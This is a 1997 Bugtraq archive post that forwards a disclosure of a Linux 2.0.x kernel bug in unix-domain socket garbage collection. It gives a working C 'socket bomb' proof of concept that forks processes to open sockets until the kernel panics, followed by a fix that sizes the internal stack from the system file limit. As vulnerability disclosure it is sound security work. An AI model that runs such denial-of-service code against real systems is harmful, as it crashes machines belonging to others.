Bugtraq mailing list archives
Fw: Insufficient allocations in net/unix/garbage.c (fwd)
From: prj () NLS NET (Phillip R. Jaenke)
Date: Wed, 3 Dec 1997 20:54:42 -0500
-Phillip R. Jaenke [InterNIC Handle: PRJ5] (prj () nls net) MIS Department, PC Importers, Inc. 800.319.9284, x4262 "Why do you pay tax on Spam? It's a non-food product!" "Well, that would explain why it's in the hardware aisle."
---------- Forwarded message ---------- Date: Wed, 3 Dec 1997 15:47:35 -0500 (EST) From: Floody <flood () evcom net> To: linux-kernel () vger rutgers edu Cc: linux-alert () redhat com, linux-security () redhat com Subject: Insufficient allocations in net/unix/garbage.c -----BEGIN PGP SIGNED MESSAGE----- Kernels 2.0.x do not sufficiently allocate space for the internal stack used for garbage collection on unix domain sockets. I have neither examined nor tested 2.1.x kernels. Because the garbage collection system defines a MAX_STACK depth of 1000 for it's internal use, it is relatively trivial to write a user-space program which opens up a large number of unix domain sockets, eventually causing a kernel panic in the garbage collection routines (which test for this limit and panic if hit); on systems which have NR_FILE (or /proc/sys/kernel/file-max) set to a value larger than 1024 or so. The solution is slightly more complicated than simply increasing MAX_STACK, due to the fact that a single page is allocated for the stack, and given an i386 architecture, this can only hold 1024 entries. The following illustrates how a user-space program might exploit this bug, causing a kernel panic: - --CUT HERE-- #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> void bomb() { while(1) { while(socket(AF_UNIX, SOCK_STREAM, 0) != -1) ; sleep(5); } } int main() { int i; printf("forking 6 unix socket bomb processes.\n"); fflush(stdout); for(i = 0; i < 6; i++) if(fork() == 0) bomb(); bomb(); return 0; } - --CUT HERE-- I have tested this under 2.0.32 and verified the panic. I have even been able to cause a panic on a system which does NOT have /proc/sys/kernel/file-max > 1024. As a work-around, the following patch will cause the garbage collection routine to calculate the exact _maximum_ stack depth it must allocate
for,
as well as using kmalloc()/kfree() instead of
get_free_page()/free_page().
- --CUT HERE- *** net/unix/garbage.c.orig Wed Dec 3 14:55:10 1997 - --- net/unix/garbage.c Wed Dec 3 15:04:57 1997 *************** *** 5,10 **** - --- 5,20 ---- * Copyright (C) Barak A. Pearlmutter. * Released under the GPL version 2 or later. * + * 12/3/97 -- Flood + * Internal stack is only allocated one page. On systems with NR_FILE + * > 1024, this makes it quite easy for a user-space program to open + * a large number of AF_UNIX domain sockets, causing the garbage + * collection routines to run up against the wall (and panic). + * Changed the MAX_STACK to be associated to the system-wide open file + * maximum, and use kmalloc() instead of get_free_page() [as more than + * one page may be necessary]. As noted below, this should ideally be + * done with a linked list. + * * Chopped about by Alan Cox 22/3/96 to make it fit the AF_UNIX socket
problem.
* If it doesn't work blame me, it worked when Barak sent it. * *************** *** 59,68 **** /* Internal data structures and random procedures: */ - - #define MAX_STACK 1000 /* Maximum depth of tree (about 1 page) */ static unix_socket **stack; /* stack of objects to mark */ static int in_stack = 0; /* first free entry in stack */ ! extern inline unix_socket *unix_get_socket(struct file *filp) { - --- 69,77 ---- /* Internal data structures and random procedures: */ static unix_socket **stack; /* stack of objects to mark */ static int in_stack = 0; /* first free entry in stack */ ! static int max_stack; /* Calculated in unix_gc() */ extern inline unix_socket *unix_get_socket(struct file *filp) { *************** *** 110,116 **** extern inline void push_stack(unix_socket *x) { ! if (in_stack == MAX_STACK) panic("can't push onto full stack"); stack[in_stack++] = x; } - --- 119,125 ---- extern inline void push_stack(unix_socket *x) { ! if (in_stack == max_stack) panic("can't push onto full stack"); stack[in_stack++] = x; } *************** *** 151,158 **** if(in_unix_gc) return; in_unix_gc=1; ! ! stack=(unix_socket **)get_free_page(GFP_KERNEL); /* * Assume everything is now unmarked - --- 160,170 ---- if(in_unix_gc) return; in_unix_gc=1; ! ! max_stack = max_files; ! ! stack=(unix_socket **)kmalloc(max_stack * sizeof(unix_socket **), ! GFP_KERNEL); /* * Assume everything is now unmarked *************** *** 276,280 **** in_unix_gc=0; ! free_page((long)stack); } - --- 288,292 ---- in_unix_gc=0; ! kfree(stack); } -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNIXFaRsjWkWelde9AQH58wQAh+AaooTq+AcNUVyKc5hIMb04vOmFkoVW 3DaaqFvtlQ9Z0XBnfagWqguNB5HRzEG1MifkhofwXuhy64qAhcev/qZroYqS/Q96 ZeGXsdf4KE3LmZ5PDSrYAIRSgQjKT9A9yw6nRQUNqr/Nis7Fz5y7oQYoo2g12Jjg l9N4fmbmPeY= =kPxr -----END PGP SIGNATURE-----
Current thread:
- Linux inetd.. moOd (Nov 30)
- Re: Linux inetd.. Aleph One (Dec 01)
- an detailed explaination why land attack works? Feiyi Wang (Nov 29)
- Possible Solaris 2.6 hole at(1M) sp00n (Dec 02)
- Re: Possible Solaris 2.6 hole at(1M) Casper Dik (Dec 04)
- Re: an detailed explaination why land attack works? Bill Paul (Dec 03)
- Fw: Insufficient allocations in net/unix/garbage.c (fwd) Phillip R. Jaenke (Dec 03)
- Re: Fw: Insufficient allocations in net/unix/garbage.c (fwd) Alan Cox (Dec 04)
- an detailed explaination why land attack works? Feiyi Wang (Nov 29)
- Sun Security Bulletin #00159 (fwd) Howie (Dec 03)
- Sun Security Bulletin #00160 (fwd) Howie (Dec 03)
- Q165005: Windows NT Slows Down Due to Land Attack Aleph One (Dec 04)
- Q177539: Windows 95 Stops Responding Because of Land Attack Aleph One (Dec 04)
- Re: Linux inetd.. Aleph One (Dec 01)
- More telnet Daemon Fun Aaron Campbell (Dec 01)
- Re: More telnet Daemon Fun Elliot Lee (Dec 02)
- tcsh/Solaris (Re: More telnet Daemon Fun) Peter Radcliffe (Dec 03)
- scoterm exploit Aleph One (Dec 04)
- Re: Linux inetd.. Alan Cox (Dec 02)